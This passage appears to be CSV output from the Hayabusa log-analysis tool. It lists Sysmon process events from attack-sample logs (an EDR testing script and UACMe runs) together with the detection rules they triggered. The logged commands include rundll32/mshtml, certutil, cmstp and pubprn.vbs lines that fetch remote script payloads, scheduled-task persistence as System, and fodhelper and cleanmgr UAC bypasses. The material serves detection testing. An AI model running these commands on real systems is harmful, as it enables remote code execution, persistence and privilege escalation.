C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.970 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:01.090 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\dispdiag.exe -out dispdiag_start.dat : Path: C:\Windows\System32\dispdiag.exe : User: MSEDGEWIN10\IEUser : Parent Command: netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.237 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c rundll32 AllTheThings.dll,EntryPoint : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.252 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.502 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 AllTheThings.dll,EntryPoint : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c rundll32 AllTheThings.dll,EntryPoint",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:05.542 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 AllTheThings.dll,EntryPoint : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32 AllTheThings.dll,EntryPoint",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.373 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"") : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.373 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.388 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.708 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"") : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"")",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:10.708 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:11.501 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test"")",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:12.352 +09:00,MSEDGEWIN10,3,medium,Rundll32 Internet Connection,,rules/sigma/network_connection/sysmon_rundll32_net_connections.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.226 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new0ActiveXObject(""WScript.Shell"").run(""calc.exe"",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new0ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe && exit"",0,true);} : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.226 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.252 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.658 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new0ActiveXObject(""WScript.Shell"").run(""calc.exe"",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new0ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe && exit"",0,true);} : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new0ActiveXObject(""WScript.Shell"").run(""calc.exe"",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new0ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im rundll32.exe && exit"",0,true);}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:15.658 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.238 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c certutil.exe -urlcache -split -f https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt Default_File_Path2.ps1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.238 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.262 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.459 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt Default_File_Path2.ps1 : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c certutil.exe -urlcache -split -f https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt Default_File_Path2.ps1 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:20.459 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.202 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c cmstp.exe /ni /s https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp.inf : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.269 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.659 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmstp.exe /ni /s https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp.inf : Path: C:\Windows\System32\cmstp.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c cmstp.exe /ni /s https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp.inf,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:25.659 +09:00,MSEDGEWIN10,1,high,Bypass UAC via CMSTP,,rules/sigma/process_creation/win_uac_cmstp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.237 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.258 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.685 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe : Path: C:\Windows\System32\forfiles.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:30.807 +09:00,MSEDGEWIN10,1,low,Indirect Command Execution,,rules/sigma/process_creation/win_indirect_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.313 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c winrm qc -q : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.337 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c winrm i c wmicimv2/Win32_Process @{CommandLine=""calc""} : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.347 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.838 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cscript //nologo ""C:\Windows\System32\winrm.vbs"" qc -q : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c winrm qc -q ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:35.878 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cscript //nologo ""C:\Windows\System32\winrm.vbs"" i c wmicimv2/Win32_Process @{CommandLine=""calc""} : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c winrm i c wmicimv2/Win32_Process @{CommandLine=""calc""}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:36.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: calc : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:36.534 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.261 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c schtasks /create /tn ""mysc"" /tr C:\windows\system32\calc.exe /sc ONLOGON /ru ""System"" /f : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.261 +09:00,MSEDGEWIN10,1,high,Suspicious Calculator Usage,,rules/sigma/process_creation/win_susp_calc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.385 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.889 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: schtasks /create /tn ""mysc"" /tr C:\windows\system32\calc.exe /sc ONLOGON /ru ""System"" /f : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c schtasks /create /tn ""mysc"" /tr C:\windows\system32\calc.exe /sc ONLOGON /ru ""System"" /f",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.889 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:40.889 +09:00,MSEDGEWIN10,1,high,Suspicious Calculator Usage,,rules/sigma/process_creation/win_susp_calc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:45.242 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test.sct : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:45.311 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:45.606 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test.sct : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/test.sct,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-08-03 18:46:48.209 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 34 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:48.209 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:48.924 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: ""C:\Windows\System32\schtasks.exe"" /run /tn ""\Microsoft\Windows\DiskCleanup\SilentCleanup"" /i : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 34",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:49.402 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe""\system32\cleanmgr.exe /autoclean /d C: : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 18:46:49.402 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using Disk Cleanup,,rules/sigma/process_creation/win_uac_bypass_cleanmgr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_34.evtx +2019-08-03 19:14:02.589 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 33 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:02.589 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:02.929 +09:00,MSEDGEWIN10,13,high,Shell Open Registry Keys Manipulation,,rules/sigma/registry_event/win_registry_shell_open_keys_manipulation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:02.934 +09:00,MSEDGEWIN10,13,high,Shell Open Registry Keys Manipulation,,rules/sigma/registry_event/win_registry_shell_open_keys_manipulation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:07.652 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\fodhelper.exe"" : Path: C:\Windows\System32\fodhelper.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 33",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:07.665 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 324 0000028064421EA0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.065 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\fodhelper.exe"" : Path: C:\Windows\System32\fodhelper.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 33",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.472 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\fodhelper.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.472 +09:00,MSEDGEWIN10,1,high,Bypass UAC via Fodhelper.exe,,rules/sigma/process_creation/win_uac_fodhelper.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.681 +09:00,MSEDGEWIN10,12,medium,Removal of Potential COM Hijacking Registry Keys,,rules/sigma/registry_event/sysmon_removal_com_hijacking_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:51:46.511 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 32 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:46.511 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool 